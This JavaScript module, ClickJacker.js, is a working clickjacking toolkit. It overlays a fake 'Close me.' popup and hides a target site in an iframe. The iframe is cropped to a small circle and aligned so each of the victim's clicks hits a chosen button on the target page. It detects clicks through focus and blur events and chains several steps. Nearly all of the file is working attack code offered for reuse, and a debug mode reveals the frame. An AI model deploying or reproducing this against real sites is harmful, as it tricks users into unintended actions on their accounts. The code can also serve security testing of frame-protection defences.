ClickJacker.js


import { createElement, randInt } from "./utils.js"


const css = `

.clickjacker * {
    margin: 0;
    padding: 0;
  }

  .clickjacker {
    --c-x: calc(var(--x) + var(--w) / 2);
    --c-y: calc(var(--y) + var(--h) / 2);
    --size: 25px;
    --bg-color: white;
    background: rgba(0, 0, 0, 0.5);
    position: fixed;
    top: 0;
    left: 0;
    height: 100vh;
    width: 100vw;
    display: flex;
    align-items: center;
    justify-content: center;
  }

  .clickjacker .inner {
    position: relative;
  }

  .clickjacker .fake-container {
    border: 2px solid black;
  }

  .clickjacker .inner .close {
    position: absolute;
    top: 0;
    right: 0;
    transform: translate(40%, -40%);
  }
  .clickjacker .inner > div:hover .frame-container::after {
    font-weight: bold;
  }
  .clickjacker .frame-container {
    box-sizing: border-box;
    position: relative;
    width: var(--size);
    height: var(--size);
    overflow: hidden;
    border-radius: 100%;
    border: 2px solid black;
  }
  .clickjacker:not(.debug) .frame-container::after {
    box-sizing: border-box;
    content: "×";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    display: flex;
    justify-content: center;
    align-items: center;
    background: white;
    pointer-events: none;
    color: black;
  }

  .clickjacker .frame-container iframe {
    position: absolute;
    border: none;
    width: 100vw;
    height: 1000vh;
    top: calc(var(--c-y) * -1px + var(--size) / 2);
    left: calc(var(--c-x) * -1px + var(--size) / 2);
  }
`

function closeMe() {
    const width = randInt(400, 600)
    const height = randInt(400, 600)
    const randomColor = randInt(0, 0xfff)
    const bg = ("000" + randomColor.toString(16)).slice(-3)
    const el = createElement("div", {
        innerText: "Close me.",
        style: {
            width: `${width}px`,
            height: `${height}px`,
            background: `#${bg}`,
            color: "white",
            display: "flex",
            alignItems: "center",
            justifyContent: "center",
            fontSize: "2em",
        }
    })
    return el
}


function createSkeleton(url, debug=false) {
    const frame = createElement("iframe", { src: url })
    const fakeContainer = createElement("div", { className: "fake-container" })
    const focusGetter = createElement("input", {
        style: {
            position: "fixed",
            top: "-1000px"
        }
    })
    const el = createElement("div", { className: `clickjacker${debug ? ' debug': ''}`}, [
        createElement("div", { className: "inner" }, [
            createElement("div", { className: "close" }, [
                createElement("div", { className: "frame-container" }, [
                    frame
                ])
            ]),
            fakeContainer,
            focusGetter
        ])
    ])

    const setFake = el => {
        fakeContainer.innerHTML = ""
        fakeContainer.appendChild(el)
    }
    const setPos = (box) => {
        el.style.setProperty("--x", box.x)
        el.style.setProperty("--y", box.y)
        el.style.setProperty("--w", box.width || 0)
        el.style.setProperty("--h", box.height || 0)
    }
    const setFocus = () => focusGetter.focus()
    return { el, frame, setFake, setPos, setFocus }
}

function waitForFocus(f) {
    return new Promise(resolve => {

        const blurListener = () => {
            setTimeout(async () => {
                if (document.activeElement == f) {
                    window.removeEventListener("blur", blurListener)
                    resolve()
                }
            }, 200);
        };

        window.addEventListener("blur", blurListener);
    })
}

/**
 * 
 * @typedef {Object} BoundingBox
 * @property {number} x - The X coordinate
 * @property {number} y - The Y coordinate
 * @property {number} [width=0] - The width of the box
 * @property {number} [height=0] - The height of the box
 */

/**
 * Tools box for clickjacking attacks
 * @class
 * @example
 * const cj = new ClickJacker(url)
 *       .addStep({ x: 8, y: 8, width: 93.53, height: 29 })
 *       .addStep({ x: 101.53, y: 8, height: 29, width: 93.53 })
 *       .addStep({ x: 195.06, y: 8, height: 29, width: 93.53 })
 * await cj.run()
 */
class ClickJacker {
    /**
     * 
     * @param {String} url Target url for clickjacking
     * @param {Boolean} [debug=false] Run in debug mode, the iframe is not hidden
     * @example
     * new ClickJacker("vulnerable.com").addStep({x: 10, y:22}).run()
     */
    constructor(url, debug=false) {
        this.debug = debug
        this.url = url
        this.steps = []
    }

    _init() {
        return new Promise(resolve => {
            const id = "ClickJackerCSS"
            if (document.getElementById(id))
                return resolve()
            const s = document.createElement("style")
            s.id = id
            s.innerText = css
            s.onload = () => resolve();
            (document.header || document.documentElement).appendChild(s)
        })
    }

    /**
     * Add a step in the current ClickJacker, the iframe will be centered according to the bounding box.
     * @param {BoundingBox} box Coordinate of the clickable element in the vulnerable page
     * @param {HTMLElement} [content=null] Html element to put in the popup, if null, render a "close me" popup 
     * @param {number} [wait=200]  Time to wait after a click has been detected
     * @returns {ClickJacker} Return itself
     */
    addStep(box, content = null, wait = 200) {
        this.steps.push({ box, content, wait })
        return this
    }

    /**
     * Start the ClickJacking process. 
     * @returns {Promise<ClickJacker>} Return itself
     */
    async run() {
        await this._init()
        const skel = createSkeleton(this.url, this.debug)
        document.body.appendChild(skel.el)
        skel.setFocus()
        for (const step of this.steps) {
            skel.setFake(step.content ? step.content : closeMe())
            skel.setPos(step.box)
            await waitForFocus(skel.frame)
            skel.setFocus()
        }
        skel.el.style.left = "1000vw"
        return this
    }

}

export default ClickJacker